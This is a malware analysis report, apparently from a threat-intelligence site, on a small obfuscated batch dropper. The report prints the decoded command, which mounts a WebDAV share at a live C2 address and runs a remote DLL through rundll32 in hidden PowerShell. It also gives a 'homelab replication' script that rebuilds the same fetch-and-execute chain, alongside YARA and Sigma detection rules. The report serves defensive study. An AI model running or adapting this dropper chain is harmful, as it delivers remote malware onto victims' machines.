unclassified-js-webdav-dropper: ed6b2cd3 — labzf-prefix SET batch, 45.9.74.32:8888, rundll32 entry

Executive Summary

Sixth confirmed sibling of the unclassified-js-webdav-dropper family. A 2.1 KB pure batch dropper using 30 shared-prefix SET variables (labzf + 6-char suffix) to obfuscate a WebDAV mount + rundll32 execution chain. C2 IP 45.9.74.32:8888 and rundll32 execution pattern match sibling e777fd64 exactly; only the payload filename (1995.dll) and variable prefix differ.

What It Is

• Filename: 27080313862625729912.bat ^[metadata.json]
• Size: 2,150 bytes ^[file.txt]
• Type: ASCII text batch script with CRLF line endings ^[file.txt]
• Family: unclassified-js-webdav-dropper (sixth confirmed sibling) — see cluster page unclassified-js-webdav-dropper for shared TTPs and build analysis.
• Obfuscation dialect: Shared-prefix SET variable expansion (same pattern as sibling e777fd64, different prefix). ^[strings.txt:1]

How It Works

Three-line batch file: ^[strings.txt:1-3]

1. Variable declaration — 30 SET assignments on a single line, all variables sharing prefix labzf followed by a random 6-character suffix. Each variable holds one printable character (a-z, 0-9). ^[strings.txt:1]

2. Decoy — color f0&&start wordpad (black-on-white console + WordPad launcher). ^[strings.txt:2]

3. Payload staging — Decodes to:

   start powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\DavWWWRoot\ ; rundll32 \\45.9.74.32@8888\DavWWWRoot\1995.dll,entry
   

   ^[strings.txt:3]

   • net use mounts the WebDAV share at \\45.9.74.32@8888\DavWWWRoot\ ^[strings.txt:3]
   • rundll32 executes export entry from remote DLL 1995.dll ^[strings.txt:3]
   • PowerShell is spawned with -windowstyle hidden as a window-concealment wrapper ^[strings.txt:3]

Decompiled Behavior

Not applicable — sample is a batch text script, not a PE binary. No Ghidra or radare2 analysis performed. ^[file.txt] ^[dynamic-analysis.md]

C2 Infrastructure

Interesting Tidbits

• No sandbox gate, no persistence, no anti-debug — fires on any Windows host with WebDAV client enabled. ^[strings.txt:1-3]
• The ; separator in the decoded line is a PowerShell command delimiter, suggesting the batch author intended net use and rundll32 to run inside the hidden PowerShell session. ^[strings.txt:3]
• 1995.dll is an unusual filename; may be a year reference or arbitrary digits to evade filename-based detection.
• Same C2 IP and execution chain as e777fd64 — near-certain same operator, different build day or campaign wave.

How To Mess With It (Homelab Replication)

Reproduce the exact obfuscation pattern:

@echo off
setlocal EnableDelayedExpansion
set _prefix=labzf
set _chars=abcdefghijklmnopqrstuvwxyz0123456789
set _cmd=color f0&&start wordpad

:: Map each char to a variable
set s=%_prefix%jwck
set 2=%_prefix%imquz
:: ... etc

:: Execute via expansion
%_cmd%
start powershell.exe -windowstyle hidden net use \\YOURIP@8888\DavWWWRoot\ ; rundll32 \\YOURIP@8888\DavWWWRoot\test.dll,entry

Verification: Run strings.bat in a Windows VM with Process Monitor. Observe cmd.exe → powershell.exe → net.exe → rundll32.exe with UNC path.

Deployable Signatures

YARA rule

rule WebDAV_Dropper_BATCH_labzf {
    meta:
        description = "WebDAV batch dropper with labzf-prefix SET obfuscation"
        author = "PacketPursuit"
        date = "2026-06-19"
        hash = "ed6b2cd3afe953fa26bd5665bc1c4299e75a654156cbc3e06bad9f814bed789f"
    strings:
        $prefix = "set labzf" ascii
        $webdav = "DavWWWRoot" ascii
        $rundll = "rundll32" ascii
        $netuse = "net use" ascii
    condition:
        filesize < 5KB and
        #prefix > 25 and
        $webdav and
        ($rundll or $netuse)
}

Sigma rule

title: WebDAV Batch Dropper Execution
status: experimental
logsource:
    category: process_creation
    product: windows
detection:
    selection_webdav:
        CommandLine|contains:
            - 'DavWWWRoot'
            - '@8888'
    selection_loader:
        CommandLine|contains:
            - 'rundll32'
            - 'regsvr32 /s'
    selection_parent:
        ParentImage|endswith:
            - '\cmd.exe'
            - '\wscript.exe'
    condition: selection_webdav and selection_loader and selection_parent
falsepositives:
    - Legitimate WebDAV administration
level: high

IOC list

Behavioral fingerprint

A 2 KB batch script declares 30+ single-character SET variables with a shared labzf prefix, then expands them to execute color f0, launch WordPad as a decoy, mount a WebDAV share at \\45.9.74.32@8888\DavWWWRoot\, and call rundll32 against a remote DLL named 1995.dll with export entry. No persistence, no sandbox gate, no anti-debug.

Detection Signatures

• CAPA: N/A (text file, not a PE) ^[capa.txt]
• No ATT&CK mapping beyond cluster baseline — see unclassified-js-webdav-dropper entity page for full matrix.

References

• Sibling analysis: e777fd64 — same C2 IP, hbutc prefix, 3682.dll payload. ^[/intel/analyses/e777fd64b88a066748001a99e30ed1c4b46d9f8c4cbeee322a78d1fc06e5062f.html]
• Family entity page: unclassified-js-webdav-dropper

Provenance

• file.txt — file type and size ^[file.txt]
• strings.txt — full batch body and decoded commands ^[strings.txt]
• metadata.json — artifact metadata ^[metadata.json]
• No CAPE detonation (text file, skipped) ^[dynamic-analysis.md]
• No Ghidra analysis (not a PE)
• No radare2 analysis (not a PE)